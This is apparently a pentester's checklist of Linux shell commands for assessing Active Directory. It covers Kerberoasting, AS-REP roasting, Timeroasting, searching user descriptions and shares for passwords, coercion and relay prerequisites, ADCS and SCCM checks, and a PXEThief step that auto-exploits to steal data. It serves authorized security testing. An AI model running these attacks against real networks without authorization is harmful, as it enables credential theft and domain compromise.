AD Testing Checklist (Linux)
Below are the things you should check on every Active Directory assessment from a Linux machine
Shortlist
Short bullet point to jog your memory. If this is not enough, click on the check to get full notes.
Extra Attacks
Coercion Attacks
Stale Half-Duplex ARP
WPAD
WebDAV
LNK file drop
ADIDNS Wildcard Attack (Dangerous and not well understood)
Confirm AD Access (Linux)
Define Shell Variables
command -v vared >/dev/null && vared -p 'Username of Active Directory account: ' -c ADUSER || read -p "Username of Active Directory account: " ADUSER
command -v vared >/dev/null && vared -p 'Domain of Active Directory account: ' -c ADDOMAIN || read -p "Domain of Active Directory account: " ADDOMAIN
command -v vared >/dev/null && vared -p 'Primary domain controller IP of target domain: ' -c ADCONTROLLER || read -p "Primary domain controller IP of target domain: " ADCONTROLLER
command -v vared >/dev/null && vared -p 'Target IP/CIDR list file path: ' -c TARGETS || read -p "Target IP/CIDR list file path: " TARGETS
alias PSWPRMPT='command -v vared >/dev/null && vared -p "Password: " -c PSW || { read -sp "Password: " PSW; echo; }; echo $PSW'Sync Clock to Domain Controller
sudo apt install ntpsec-ntpdate -y
sudo ntpdate $ADCONTROLLERCheck access (NTLM)
impacket-GetADUsers $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLERCheck access (Kerberos)
# Get Kerberos TGT
impacket-getTGT $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLER
export KRB5CCNAME=$(realpath $ADUSER.ccache)
# Make call using TGT
impacket-GetADUsers $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLER -k -no-passSearch for abusable ACLs (Bloodhound CE)
To search for abuseable ACLs, Bloodhound is the tool of choice. For further informational about how to analyze the information once you collect it, see Analyzing Data with Bloodhound.
Install Bloodhound.py
pipx install git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ceCollect Data (NTLM)
bloodhound-ce-python -u $ADUSER -d $ADDOMAIN -c All --zipCollect Data (Kerberos)
bloodhound-ce-python -u $ADUSER -d $ADDOMAIN -p "" -k --auth-method kerberos -no-pass -c All --zipThe above has given me some issues during testing and sometimes reverted to NTLM instead of Kerberos. If you have issues, try using the NTLM version which will often attempt to use Kerberos regardless.
Collect Data (w/ Channel Binding)
The current Bloodhound.py does not support connection to LDAPS that has channel binding. In my experience, it will throw a vague issue related to a failed connection or invalid address (ldap3.core.exceptions.LDAPSocketOpenError: invalid server address). There is a pull request out there that fixes this issue but it has not been merged so far (it has been waiting about half a year). Therefore, you will have to manually install a forked version from deadjakk that supports channel binding. You will also need a forked version of LDAP3 to run the forked version of bloodhound.py.
sudo apt remove bloodhound.py -y
mkdir bloodhound-new
cd bloodhound-new
virtualenv venv
source ./venv/bin/activate
git clone https://github.com/deadjakk/BloodHound.py.git
cd BloodHound.py
pip3 install .
pip3 install git+https://github.com/ly4k/ldap3 # Fork of ldap3 needed
bloodhound-python -u $ADUSER -d $ADDOMAIN -c All --zip --ldap-channel-bindingSearch for passwords in user descriptions
Install JQ
sudo apt install jq -ySearch for quick hits
cat *users.json | jq . | grep -E '"description":|"name":|"AllowedToDelegate":' | sed 's/"AllowedToDelegate": \[\],//g' | tr -d '",' | grep -B 1 -iE "password|pw"List sorted user descriptions (Full Review)
cat *users.json | jq . | grep -E '"description":' | sed 's/"description": //g' | tr -d '",' | sort -uSearch for Kerberoastable accounts
Search for all SPNs in the domain that are vulnerable to Kerberoasting. For exploit information, see Kerberoasting.
Check for affected accounts (NTLM)
impacket-GetUserSPNs $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLERCheck for affected accounts (Kerberos)
impacket-GetUserSPNs $ADDOMAIN/$ADUSER -no-pass -k -dc-ip $ADCONTROLLERSearch for As-Rep Roastable accounts
Search for all user accounts that do not require pre-authentication. For exploit information, see As-Rep Roasting.
Check for affected accounts (NTLM)
impacket-GetNPUsers $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLERCheck for affected accounts (Kerberos)
impacket-GetNPUsers $ADDOMAIN/$ADUSER -no-pass -k -dc-ip $ADCONTROLLERPerform Timeroasting attack
Timeroast via RID Bruit Force
# Using NXC version >= 1.4
nxc smb $ADCONTROLLER -M timeroast --log nxc-timeroast.txtCheck for default Machine Account Quota
Get Machine Account Quota (NTLM)
nxc ldap $ADCONTROLLER -M maq -u $ADUSER -d $ADDOMAIN -p $(PSWPRMPT) --log MAQ.log;PSW=""Get Machine Account Quota (Kerberos)
nxc ldap $ADCONTROLLER -M maq -k --use-kcache --log MAQ.logGet Machine Account Quota (NTLM) - Alternate
ldapsearch -x -H ldap://$ADCONTROLLER -b 'DC=<DOMAIN NAME>,DC=<DOMAIN TLD>' -D "$ADUSER@$ADDOMAIN" -W -s sub "(objectclass=domain)" | grep ms-DS-MachineAccountQuota Check password policy
Get Password Policy (NTLM)
nxc smb $ADCONTROLLER -u $ADUSER -d $ADDOMAIN -p $(PSWPRMPT) --pass-pol --log PassPol.log;PSW=""Check for active WebDAV clients
Method 1 (WebClientScanner) - Faster
Install
pipx install git+https://github.com/Hackndo/WebclientServiceScannerNTLM
webclientservicescanner $ADDOMAIN/$ADUSER@$TARGETS -dc-ip $ADCONTROLLER | tee WebDAV-Scan.txtKerberos
webclientservicescanner $ADDOMAIN/$ADUSER@$TARGETS -no-pass -k -dc-ip $ADCONTROLLER | tee WebDAV-Scan.txtMethod 2 (NetExec) - CSV Output
Scan hosts
nxc smb $TARGETS -M webdav -u "$ADUSER" -d "$ADDOMAIN" -p $(PSWPRMPT) --log WebDAV.log;PSW=""Create affected host CSV
cat WebDAV.log | grep -a WEBDAV | grep -vE 'STATUS_ACCESS_DENIED|STATUS_OBJECT_PATH_NOT_FOUND' | awk -F' ' 'NR==1{print "IP(s),Hostname,Port"};{print $9","$11","$10"/tcp"}' > WebDAV-Service-Enabled.csvCheck for missing SMB signing
nxc smb $TARGETS --log Missing-SMB-Signing.log
grep "signing:False" Missing-SMB-Signing.log | sed -E 's/\(name:[^)]*\)//g;s/\(domain:[^)]*\)//g;s/\(SMBv1:[^)]*\)//g;s/[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} \| smb\.py:[0-9]+ - INFO - SMB\s+//' | grep --color=always -e "^" -e "signing:False"Check for SMBv1 Support
nxc smb $TARGETS --log SMBv1-Support.log
grep "SMBv1:True" SMBv1-Support.log | sed -E 's/\(name:[^)]*\)//g;s/\(domain:[^)]*\)//g;s/\(signing:[^)]*\)//g;s/[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} \| smb\.py:[0-9]+ - INFO - SMB\s+//' | grep --color=always -e "^" -e "SMBv1:True"Check for writable shares
NTLM
nxc smb $TARGETS -u $ADUSER -d $ADDOMAIN -p $(PSWPRMPT) --shares --log SMB-Shares.log;PSW=""
grep "WRITE" SMB-Shares.logCheck for sensitive data in shares
Collect Info (NTLM)
nxc smb $TARGETS -u $ADUSER -d $ADDOMAIN -p $(PSWPRMPT) -M spider_plus;PSW=""Check for anonymous access
nxc smb $TARGETS -u " " -p " " --local-auth --shares --log Anonymous-SMB.log
grep "[+]" Anonymous-SMB.logCheck for Unconstrained Delegation (Non-DCs)
Delegations (Perfered)
go install github.com/TheManticoreProject/Delegations@latest
Delegations audit --dc-ip "$ADCONTROLLER" -d "$ADDOMAIN" -u "$ADUSER" -p "$(PSWPRMPT)" | tee delegation-scan.txt;PSW=""Bloodhound CE Query
MATCH (dc)-[:MemberOf*0..]->(dg:Group)
WHERE dg.objectid ENDS WITH '-516'
WITH COLLECT(dc) AS domainControllers
MATCH (m)
WHERE m.unconstraineddelegation = true AND NOT m IN domainControllers
RETURN mThis query will also list disabled objects. Make sure to investigate the context of the Unconstrained Delegation object before reporting!
Get list of affected objects from JSON Bloodhound query export
jq -r '.data.nodes[] | .label' bh-graph.json | tr '[:upper:]' '[:lower:]' | sort -uCheck LDAP Configuration
NTLM
nxc ldap $TARGETS -M ldap-checker -u $ADUSER -d $ADDOMAIN -p $(PSWPRMPT) --log LDAP-Signing_Binding.log;PSW=""Create CSV Output
CHANNEL_BINDING=$(grep -E 'LDAPS Channel Binding is set to "NEVER"' LDAP-Signing_Binding.log | awk -F' ' '{print $9",636/tcp,"$11",LDAP Channel Binding not Enforced"}' | sort -uV)
LDAP_SIGNING=$(grep 'LDAP Signing NOT Enforced!' LDAP-Signing_Binding.log | awk -F' ' '{print $9","$10"/tcp,"$11",LDAP Signing not Enforced"}' | sort -uV)
echo "IP(s),Port,Hostname,Issue$COMBINED_RESULTS" > Insecure-LDAP-Authentication.csv
echo -e "$LDAP_SIGNING\n$CHANNEL_BINDING" | awk 'BEGIN{FS=OFS=","} NR==1{next} {for(i=2;i<=NF;i++) if(!seen[$1,$i,i]++) grp[$1,i]=(grp[$1,i]==""?"":grp[$1,i] ($i!=""?", ":"")) $i; else grp[$1,i]=grp[$1,i]} END{for(x in grp){split(x,tmp,SUBSEP); join[tmp[1]]=(join[tmp[1]]==""?"":join[tmp[1]] OFS) "\""grp[x]"\""} for(x in join) print x, join[x]}' >> Insecure-LDAP-Authentication.csvCheck MsSQL Configuration
Install MsSQLRelay
pipx install git+https://github.com/CompassSecurity/mssqlrelayRun all checks (Coercion, Command Execution, Signing)
command -v vared >/dev/null && vared -p 'Path to Nmap TCP Scan (gnmap file): ' -c NMAP_TCP || read -p "Path to Nmap TCP Scan (gnmap file): " NMAP_TCP
grep '1433/open/tcp' $NMAP_TCP| cut -d ' ' -f 2 | sort -uV > mssql.hosts
PSW=$(PSWPRMPT);echo;while read MSSQL_SERVER; do mssqlrelay check -target $MSSQL_SERVER -ns $ADCONTROLLER -u $ADUSER@$ADDOMAIN -p $PSW 2> /dev/null | tee -a MsSQL_Search.txt; done < mssql.hosts;PSW=""Create CSV of Missing EPA
grep "Encryption: not enforced" -B 2 MsSQL_Search.txt | grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | sort -u | awk -F' ' 'NR==1{print "IP,Port"};{print $3"/tcp"}' | tr -d '()' | tr ':' ',' > MsSQL-Missing-EPA.csvCheck ADCS Configuration
Install Certipy
pipx install git+https://github.com/ly4k/Certipy.gitRun all checks
certipy find -u "$ADUSER@$ADDOMAIN" -dc-ip $ADCONTROLLER -stdout -vulnerable | tee ADCS-Vuln.txtCheck for CA when Certipy does not find CA
nxc smb $TARGETS -u $ADUSER -d $ADDOMAIN -p $(PSWPRMPT) --shares --log ADCS.log;PSW=""
grep -i "cert" ADCS.logCheck SCCM Configuration
Install Tools
# Install SCCMHuneter
git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
chmod +x *.py
virtualenv venv
source ./venv/bin/activate
pip install -r requirements.txt
cd ../
# Install PXETheif
git clone https://github.com/MWR-CyberSec/PXEThief
cd PXEThief
sed -i '/pywin32>=303/d' requirements.txt # This module is not supported on linux
pip install -r requirements.txt
cd ../Find SCCM Server (w/ SCCMHunter)
python3 sccmhunter/sccmhunter.py find -u $ADUSER -d $ADDOMAIN -dc-ip $ADCONTROLLERSearch for SCCM user accounts (Bloodhound data)
cat *users.json | jq -r .data[].Properties.name | grep -Ei 'naa|sccm|client.push'Send PXE Boot Request via DHCP (PXEThief)
sudo python3 PXEThief/pxethief.py 1This will not only send the request, but also auto exploit by downloading the encrypted media file and attempting to steal data if there is no password.
Check for Open SCCM Ports
sudo nmap -sS -iL $TARGETS -T4 --open -oA Nmap_SCCM_TCP_Scan_$(date +"%b-%d-%Y") -p 8530-8531,49152-49159,10123
sudo nmap -sU -iL $TARGETS -T4 --open -oA Nmap_SCCM_UDP_Scan_$(date +"%b-%d-%Y") -p 4011
# Search for hits
cat Nmap_SCCM_*_Scan_*.gnmap | grep open | grep -vE "filtered|scan initiated" Last updated